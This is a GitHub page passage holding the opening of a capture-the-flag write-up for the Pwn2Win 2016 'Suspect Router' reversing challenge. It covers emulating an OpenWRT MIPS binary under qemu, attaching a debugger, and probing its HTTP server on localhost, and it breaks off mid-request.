<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom bg-gray-light p-3"> <button class="btn-link js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-x text-gray" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded-1 bg-white px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Code review Project management Integrations Actions Packages Security Team management Hosting
Customer stories <span>→</span> Security <span>→</span> </div> </details> Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn & contribute</h4> Topics Collections Trending Learning Lab Open source guides
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> Events Community forum GitHub Education </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans Contact Sales
Nonprofit <span>→</span> Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex mb-3 mb-lg-0"> <div class="header-search flex-self-stretch flex-lg-self-auto mr-0 mr-lg-3 mb-3 mb-lg-0 scoped-search site-scoped-search js-site-search position-relative js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="54845624" data-scoped-search-url="/epicleet/write-ups-2016/search" data-unscoped-search-url="/search" action="/epicleet/write-ups-2016/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" value="" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="JIGYZCZEsgAA5eAKu1FsT1TS7HorhmTss6jj9qm5tKPyBMwDLrWVFHHkX5jq31/zDm4dbsrg10c4yYW/cNNlpQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" >
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
Sign in Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full js-flash-template-container"> <div class="container-lg px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="js-flash-template-message"></div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main >
<div class="pagehead repohead hx_repohead readability-menu bg-gray-light pb-0 pt-0 pt-lg-3">
<div class="d-flex container-lg mb-4 p-responsive d-none d-lg-flex">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class="public d-flex flex-wrap flex-items-center break-word float-none "> <svg class="octicon octicon-repo-forked" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> <span> epicleet </span> <span>/</span> write-ups-2016 </h1>
<span> <span>forked from ctfs/write-ups-2016</span> </span>
</div>
<svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"></path></svg> Watch 2
<svg height="16" class="octicon octicon-star v-align-text-bottom" vertical_align="text_bottom" viewBox="0 0 14 16" version="1.1" width="14" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"></path></svg>
Star 19
<svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> Fork 535
</div> <nav class="hx_reponav reponav js-repo-nav js-sidenav-container-pjax clearfix container-lg p-responsive d-none d-lg-block" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Repository" data-pjax="#js-repo-pjax-container">
<span> <div class="d-inline"><svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"></path></svg></div> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0010 15a1.993 1.993 0 001-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 00-1 3.72v6.56A1.993 1.993 0 002 15a1.993 1.993 0 001-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg></div> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-play" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 8A7 7 0 110 8a7 7 0 0114 0zm-8.223 3.482l4.599-3.066a.5.5 0 000-.832L5.777 4.518A.5.5 0 005 4.934v6.132a.5.5 0 00.777.416z"></path></svg></div> Actions </span>
<div class="d-inline"><svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg></div> Projects <span>0</span>
<div class="d-inline"><svg class="octicon octicon-shield" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 2l7-2 7 2v6.02C14 12.69 8.69 16 7 16c-1.69 0-7-3.31-7-7.98V2zm1 .75L7 1l6 1.75v5.268C13 12.104 8.449 15 7 15c-1.449 0-6-2.896-6-6.982V2.75zm1 .75L7 2v12c-1.207 0-5-2.482-5-5.985V3.5z"></path></svg></div> Security <div class="d-inline"><svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"></path></svg></div> Insights
</nav>
<div class="reponav-wrapper reponav-small d-lg-none"> <nav class="reponav js-reponav text-center no-wrap" itemscope itemtype="http://schema.org/BreadcrumbList">
<span> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <span>Projects</span> <span>0</span> <meta itemprop="position" content="5"> </span>
<span> <span>Actions</span> <meta itemprop="position" content="6"> </span>
<span>Security</span> <meta itemprop="position" content="8"> Pulse
</nav></div>
</div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="container-lg clearfix new-discussion-timeline p-responsive"> <div class="repository-content ">
Permalink
<div class="signup-prompt-bg rounded-1 js-signup-prompt" data-prompt="signup" hidden> <div class="signup-prompt p-4 text-center mb-4 rounded-1"> <div class="position-relative"> <button type="button" class="position-absolute top-0 right-0 btn-link link-gray js-signup-prompt-button" data-ga-click="(Logged out) Sign up prompt, clicked Dismiss, text:dismiss"> Dismiss </button> <h3 class="pt-2">Join GitHub today</h3> GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up </div> </div> </div>
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
<div class="d-flex flex-items-start flex-shrink-0 flex-column flex-md-row pb-3"> <span> <details class="details-reset details-overlay branch-select-menu " id="branch-select-menu"> <summary class="btn css-truncate btn-sm" data-hotkey="w" title="pwn2win-ctf-2016"> Branch: <span>pwn2win-ctf-20…</span> <span></span> </summary>
<details-menu class="SelectMenu SelectMenu--hasFilter" src="/epicleet/write-ups-2016/refs/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/suspect-router-100/README.md?source_action=show&source_controller=blob" preload> <div class="SelectMenu-modal"> <include-fragment class="SelectMenu-loading" aria-label="Menu is loading"> <svg class="octicon octicon-octoface anim-pulse" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M14.7 5.34c.13-.32.55-1.59-.13-3.31 0 0-1.05-.33-3.44 1.3-1-.28-2.07-.32-3.13-.32s-2.13.04-3.13.32c-2.39-1.64-3.44-1.3-3.44-1.3-.68 1.72-.26 2.99-.13 3.31C.49 6.21 0 7.33 0 8.69 0 13.84 3.33 15 7.98 15S16 13.84 16 8.69c0-1.36-.49-2.48-1.3-3.35zM8 14.02c-3.3 0-5.98-.15-5.98-3.35 0-.76.38-1.48 1.02-2.07 1.07-.98 2.9-.46 4.96-.46 2.07 0 3.88-.52 4.96.46.65.59 1.02 1.3 1.02 2.07 0 3.19-2.68 3.35-5.98 3.35zM5.49 9.01c-.66 0-1.2.8-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.54-1.78-1.2-1.78zm5.02 0c-.66 0-1.2.79-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.53-1.78-1.2-1.78z"></path></svg> </include-fragment> </div> </details-menu></details>
<div class="BtnGroup flex-shrink-0 d-md-none"> Find file <clipboard-copy value="pwn2win-ctf-2016/reverse/suspect-router-100/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </span> <h2 id="blob-path" class="breadcrumb flex-auto min-width-0 text-normal flex-md-self-center ml-md-2 mr-md-3 my-2 my-md-0"> <span><span><span>write-ups-2016</span></span></span><span>/</span><span><span>pwn2win-ctf-2016</span></span><span>/</span><span><span>reverse</span></span><span>/</span><span><span>suspect-router-100</span></span><span>/</span>README.md </h2>
<div class="BtnGroup flex-shrink-0 d-none d-md-inline-block"> Find file <clipboard-copy value="pwn2win-ctf-2016/reverse/suspect-router-100/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </div>
<include-fragment src="/epicleet/write-ups-2016/contributors/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/suspect-router-100/README.md" class="Box Box--condensed commit-loader"> <div class="Box-body bg-blue-light f6"> Fetching contributors… </div>
<div class="Box-body d-flex flex-items-center" > <span>Cannot retrieve contributors at this time</span> </div></include-fragment>
<div class="Box mt-3 position-relative "> <div class="Box-header py-2 d-flex flex-column flex-shrink-0 flex-md-row flex-md-items-center"> <div class="text-mono f6 flex-auto pr-3 flex-order-2 flex-md-order-1 mt-2 mt-md-0">
262 lines (176 sloc) <span></span> 11.9 KB </div>
<div class="d-flex py-1 py-md-0 flex-auto flex-order-1 flex-md-order-2 flex-sm-grow-0 flex-justify-between">
<div class="BtnGroup"> Raw Blame History </div>
<div> <svg class="octicon octicon-device-desktop" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"></path></svg>
<button type="button" class="btn-octicon disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-pencil" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 011.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"></path></svg> </button> <button type="button" class="btn-octicon btn-octicon-danger disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-trashcan" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"></path></svg> </button> </div> </div></div>
<div id="readme" class="Box-body readme blob js-code-block-container px-5"> <article class="markdown-body entry-content" itemprop="text"><h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Pwn2Win CTF 2016: Suspect Router</h1>Category: ReversePoints: 100Solves: 0Description:<blockquote>We have found this suspect binary in one of the SKY project routers.We suspect that the Club installs this binary to mark the enemy networksintruded by them, and that hidden information exists inside the binarywhich can be obtained via network. Find which information is that.</blockquote>Beware that old versions of qemu have a bug which prevent this binary from being emulated correctly. We recommend emulating it in qemu-user >= 2.3.0 or running it in a real router.<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Write-up</h2><h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Setting up the emulation environment</h3>The admpanel file is a MIPS binary which runs in OpenWRT routers, as you might suspect from the problem statement and also from inspecting the toolchain used to compile it:$ strings admpanel | grep -i gcc[...]GCC: (OpenWrt/Linaro GCC 4.8-2014.04 r42625) 4.8.3The binary can thus be run using the qemu-user emulator for the MIPS architecture, which allows a debugger to be attached using the GDB protocol. The debugger might be GDB itself or even IDA Pro, which supports the GDB protocol.But before running the binary, we need to get the OpenWRT system libraries. We might as well download the entire SDK. Looking at the GCC version string, it is easy to find the correct SDK in the OpenWRT downloads page.Once the SDK is extracted, you can setup the directory used by qemu to look for libraries by typing:export QEMU_LD_PREFIX=${OPENWRT_SDK_ROOT}/staging_dir/toolchain-mips_34kc_gcc-4.8-linaro_uClibc-0.9.33.2After that, the binary can be run by calling:qemu-mips ./admpanelIf you want qemu to wait for a debugger to be attached before running the binary, use the -g command line option, passing the port on which the debugger will listen:qemu-mips -g 1234 ./admpanel<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Preliminary behavior inspection</h3>From the problem statement, we know hidden information exists inside the binary which can be obtained via network. Therefore we first check to see if the process is listening at any port:$ netstat -tnapProto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 29454/qemu-mipsBy looking at strings such as "HTTP/1.1", "200 OK", "Content-Length: ", "asynchttpserver.processClient" and many others which exist in the binary, one can easily guess this is a HTTP server. So let us see if we can get it to answer a HTTP request:$ curl -v 'http://localhost:8080/'* Trying 127.0.0.1...* Connected to localhost (127.0.0.1) port 8080 (#0)> GET / HTTP/1.1> Host: localhost:8080> User-Agent: 